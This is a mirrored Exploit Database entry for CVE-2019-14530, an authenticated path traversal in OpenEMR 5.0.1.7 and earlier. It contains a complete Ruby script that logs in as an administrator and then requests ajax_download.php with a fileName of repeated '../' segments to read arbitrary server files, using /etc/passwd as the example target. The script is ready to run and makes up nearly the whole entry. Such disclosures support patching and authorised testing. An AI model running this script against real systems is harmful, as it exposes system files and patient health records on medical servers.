OpenEMR 5.0.1.7 – ‘fileName’ Path Traversal (Authenticated) (2)

• Exploit Database
• 14 阅读

• 作者： Alexandre ZANNI
  日期： 2021-07-05
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/50087/

• # Title: OpenEMR 5.0.1.7 - 'fileName' Path Traversal (Authenticated) (2)
  # Exploit author: noraj (Alexandre ZANNI) for SEC-IT (http://secit.fr)
  # Exploit source: https://github.com/sec-it/exploit-CVE-2019-14530
  # Date: 2021-06-24
  # Vendor Homepage: https://www.open-emr.org/
  # Software Link: https://github.com/openemr/openemr/archive/v5_0_1_7.tar.gz
  # Docker PoC: https://github.com/sec-it/exploit-CVE-2019-14530/blob/master/docker-compose.yml
  # Version: < 5.0.2 (it means up to 5.0.1.7)
  # Tested on: OpenEMR Version 5.0.1
  # References: https://www.exploit-db.com/exploits/50037
  # CVE: CVE-2019-14530
  # CWE: CWE-22
  # Patch: https://github.com/openemr/openemr/pull/2592/files
  
  #!/usr/bin/env ruby
  
  require 'pathname'
  require 'httpx'
  require 'docopt'
  
  doc = <<~DOCOPT
  OpenEMR < 5.0.2 - (Authenticated) Path Traversal - Local File Disclosure
  
  Source: https://github.com/sec-it/exploit-CVE-2019-14530
  
  Usage:
  #{__FILE__} exploit <url> <filename> <username> <password> [--debug]
  #{__FILE__} -h | --help
  
  Options:
  <url> Root URL (base path) including HTTP scheme, port and root folder
  <filename>Filename of the file to be read
  <username>Username of the admin
  <password>Password of the admin
  --debug Display arguments
  -h, --helpShow this screen
  
  Examples:
  #{__FILE__} exploit http://example.org/openemr /etc/passwd admin pass
  #{__FILE__} exploit https://example.org:5000/ /etc/passwd admin pass
  DOCOPT
  
  def login(root_url, user, pass, http)
  vuln_url = "#{root_url}/interface/main/main_screen.php?auth=login&site=default"
  params = {
  'new_login_session_management' => '1',
  'authProvider' => 'Default',
  'authUser' => user,
  'clearPass' => pass,
  'languageChoice' => '1'
  }
  
  http.post(vuln_url, form: params).body.to_s
  end
  
  def exploit(root_url, filename, http)
  vuln_url = "#{root_url}/custom/ajax_download.php?fileName=../../../../../../../../../#{filename}"
  
  http.get(vuln_url).body.to_s
  end
  
  begin
  args = Docopt.docopt(doc)
  pp args if args['--debug']
  
  if args['exploit']
  http = HTTPX.plugin(:cookies).plugin(:follow_redirects)
  login(args['<url>'], args['<username>'], args['<password>'], http)
  puts exploit(args['<url>'], args['<filename>'], http)
  end
  rescue Docopt::Exit => e
  puts e.message
  end